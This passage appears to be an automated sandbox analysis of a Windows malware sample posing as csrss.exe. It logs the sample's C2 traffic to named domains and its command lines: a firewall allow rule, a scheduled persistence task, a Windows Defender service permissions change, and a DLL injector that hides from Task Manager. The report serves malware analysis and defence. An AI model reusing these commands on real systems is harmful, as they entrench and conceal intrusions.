e8kw7X5F8qR7bBZ9NE84HK5NjZ6sQn+cIJjANRUfv/2hLUWhIIaQc6BzCyK33H9bzPR9DujxuJyLWrEfDiwNXE7pePBptY2u1R1u7NcJDU6LtZyeZuTfnV1WKZvtTut8mj56Yw7lTf+D+F+sXLY5yutVEGGse+ZRBxsrQDFSxQi1CqA96vCqJFO1TNsoiczbjHOCULV7nShsU3apJeI5ZPOFLrMqDcSP0chhvy9g==
2021-11-11 21:25:08 UTC	24	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49774	172.67.139.144	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-11 21:25:26 UTC	24	OUT	GET /api/cdn?c=18fdfede72ff702e&uuid=0d29b283-e190-4dec-92fd-2f54e18287ce HTTP/1.1 Host: server16.trumops.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2021-11-11 21:25:26 UTC	24	IN	HTTP/1.1 200 OK Date: Thu, 11 Nov 2021 21:25:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.11 access-control-allow-credentials: false CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LFb55BkaVipRDmd59kvygHvHbd%2BfDpxJyt7HtqrCe8InXi3fgYEqZD%2BhMgNBQMU4%2Fqp7bq9MtLGmHBwVQjOgojPbUJzCoLyIyusKfIFVUIbPZ%2FQ5SbSNTs5K47WHOWfqE6kx44xHWA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6aca97d71ae975c9-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-11-11 21:25:26 UTC	25	IN	Data Raw: 31 33 34 0d 0a 41 37 33 6b 6f 7a 51 66 64 41 37 45 70 79 70 69 7a 54 65 58 62 5a 72 5a 41 2f 37 2b 59 6e 56 39 62 58 78 57 35 62 77 69 6a 32 30 76 41 6e 66 31 44 55 55 55 33 6c 5a 67 2f 51 71 65 4e 43 6a 55 4d 76 46 4c 6b 74 48 45 47 44 66 32 6b 67 78 64 67 41 47 35 53 6f 64 77 69 37 62 4f 2b 73 7a 5a 4f 58 59 54 4e 33 31 42 4a 70 69 77 30 6e 54 75 64 43 2f 7a 4f 6f 53 73 4a 6a 75 4b 78 34 2b 63 34 37 6b 4c 52 73 6e 53 71 64 4a 6b 54 32 67 7a 6b 57 6c 66 2b 39 64 76 67 4f 2f 49 31 66 48 34 42 54 46 41 36 75 6c 61 66 44 76 65 62 58 51 58 6a 75 31 30 42 43 31 69 34 70 54 37 61 79 6a 59 78 47 73 2b 6d 35 6e 62 69 39 73 2b 6c 51 53 51 45 78 67 71 58 72 6e 67 54 63 4f 61 69 4e 6b 58 71 46 71 45 43 77 46 61 6c 75 6d 2b 47 38 35 37 44 2b 79 38 71 66 64 78 43 31 Data Ascii: 134A73kozQfdA7EpypizTeXbZrZA/7+YnV9bXxW5bwij20vAnf1DUUU3lZg/QqeNCjUMvFLktHEGDf2kgxdgAG5Sodwi7bO+szZOXYTN31BJpiw0nTudC/zOoSsJjuKx4+c47kLRsnSqdJkT2gzkWlf+9dvgO/I1fH4BTFA6ulafDvebXQXju10BC1i4pT7ayjYxGs+m5nbi9s+lQSQExgqXrngTcOaiNkXqFqECwFalum+G857D+y8qfdxC1
2021-11-11 21:25:26 UTC	26	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49779	172.67.207.136	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data
2021-11-11 21:25:33 UTC	26	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 160 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
2021-11-11 21:25:33 UTC	26	OUT	Data Raw: 52 6f 6b 36 76 6f 34 41 4a 48 77 5a 70 51 78 4a 4c 4f 74 36 4a 57 55 4b 53 70 41 6a 37 6a 4a 6c 36 44 43 30 6b 79 46 5a 74 70 77 31 47 33 51 65 57 70 61 71 48 31 44 57 76 43 77 42 2f 36 31 53 57 71 5a 4d 43 77 62 49 42 79 78 32 63 34 35 30 79 6c 37 65 39 6b 2f 56 71 79 31 66 39 6c 44 6e 4b 70 63 66 64 68 59 63 48 6d 70 73 4b 61 4c 78 33 6e 38 4a 50 77 64 41 57 4a 39 53 34 32 31 72 74 31 55 34 63 6b 77 44 61 39 42 6c 55 2f 55 7a 6c 79 37 76 61 55 61 76 75 2b 59 46 70 67 3d 3d Data Ascii: Rok6vo4AJHwZpQxJLOt6JWUKSpAj7jJl6DC0kyFZtpw1G3QeWpaqH1DWvCwB/61SWqZMCwbIByx2c450yl7e9k/Vqy1f9lDnKpcfdhYcHmpsKaLx3n8JPwdAWJ9S421rt1U4ckwDa9BlU/Uzly7vaUavu+YFpg==
2021-11-11 21:25:33 UTC	26	IN	HTTP/1.1 200 OK Date: Thu, 11 Nov 2021 21:25:33 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yZZEMh4SjM%2FqWCfP3Gt1icEaWpINSKkRoVeaudR%2BAH2uOSnDdojn04KylYnqxlodRkANOIuWxvGcWfg91VKNMFvuAcCImvHTnKyUuiG5EJweLZ33lnY1BS4CnmkvZI0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6aca98069e7f4df4-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: rlavBKPBEc.exe PID: 5080 Parent PID: 6096

General

Start time:	22:24:21
Start date:	11/11/2021
Path:	C:\Users\user\Desktop\rlavBKPBEc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rlavBKPBEc.exe"
Imagebase:	0x400000
File size:	4535848 bytes
MD5 hash:	C2BD7979C8CDF20C691D8C604A6C4965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000001.00000003.267147105.0000000005D0A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000001.00000002.290947110.0000000005080000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Start time:	22:24:32
Start date:	11/11/2021
Path:	C:\Windows\servicing\TrustedInstaller.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\servicing\TrustedInstaller.exe
Imagebase:	0x7ff61eae0000
File size:	131584 bytes
MD5 hash:	4578046C54A954C917BB393B70BA0AEB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Start time:	22:24:35
Start date:	11/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Start time:	22:24:39
Start date:	11/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Start time:	22:24:40
Start date:	11/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Start time:	22:24:41
Start date:	11/11/2021
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff63f5f0000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Start time:	22:24:42
Start date:	11/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Start time:	22:24:45
Start date:	11/11/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
Imagebase:	0x7ff7eef80000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Start time:	22:24:46
Start date:	11/11/2021
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
Imagebase:	0x7ff6ee730000
File size:	92672 bytes
MD5 hash:	98CC37BBF363A38834253E22C80A8F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Start time:	22:24:55
Start date:	11/11/2021
Path:	C:\Windows\rss\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\rss\csrss.exe"
Imagebase:	0x400000
File size:	4535848 bytes
MD5 hash:	C2BD7979C8CDF20C691D8C604A6C4965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000013.00000002.362092797.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000013.00000003.342013940.000000000638A000.00000004.00000001.sdmp, Author: Joe Security

Start time:	22:25:01
Start date:	11/11/2021
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
Imagebase:	0x7ff689af0000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	22:25:03
Start date:	11/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	22:25:04
Start date:	11/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	22:25:05
Start date:	11/11/2021
Path:	C:\Windows\SysWOW64\mountvol.exe
Wow64 process (32bit):	true
Commandline:	mountvol B: /s
Imagebase:	0xcd0000
File size:	15360 bytes
MD5 hash:	5C11B99E6D41403031CD946255E8A353
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	22:25:06
Start date:	11/11/2021
Path:	C:\Windows\rss\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\rss\csrss.exe"
Imagebase:	0x400000
File size:	4535848 bytes
MD5 hash:	C2BD7979C8CDF20C691D8C604A6C4965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000001F.00000003.367332012.000000000638A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000001F.00000002.380983955.0000000005700000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 0000001F.00000002.373722206.0000000000400000.00000040.00020000.sdmp, Author: Joe Security

Start time:	22:25:08
Start date:	11/11/2021
Path:	C:\Windows\SysWOW64\mountvol.exe
Wow64 process (32bit):	true
Commandline:	mountvol B: /d
Imagebase:	0xcd0000
File size:	15360 bytes
MD5 hash:	5C11B99E6D41403031CD946255E8A353
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	22:25:16
Start date:	11/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	22:25:18
Start date:	11/11/2021
Path:	C:\Windows\rss\csrss.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\rss\csrss.exe
Imagebase:	0x400000
File size:	4535848 bytes
MD5 hash:	C2BD7979C8CDF20C691D8C604A6C4965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000025.00000003.389391811.000000000638A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000025.00000002.393329369.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000025.00000002.404856081.0000000005700000.00000040.00000001.sdmp, Author: Joe Security

Start time:	22:25:19
Start date:	11/11/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	22:25:28
Start date:	11/11/2021
Path:	C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
Imagebase:	0x7ff7c1850000
File size:	288256 bytes
MD5 hash:	D98E33B66343E7C96158444127A117F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 14%, Metadefender, Browse Detection: 73%, ReversingLabs

Start time:	22:25:29
Start date:	11/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report rlavBKPBEc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Persistence and Installation Behavior:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

Start time:	22:25:30
Start date:	11/11/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	22:25:33
Start date:	11/11/2021
Path:	C:\Windows\windefender.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\windefender.exe
Imagebase:	0x400000
File size:	2102272 bytes
MD5 hash:	E0A50C60A85BFBB9ECF45BFF0239AAA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	22:25:37
Start date:	11/11/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Start time:	22:25:42
Start date:	11/11/2021
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff792850000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre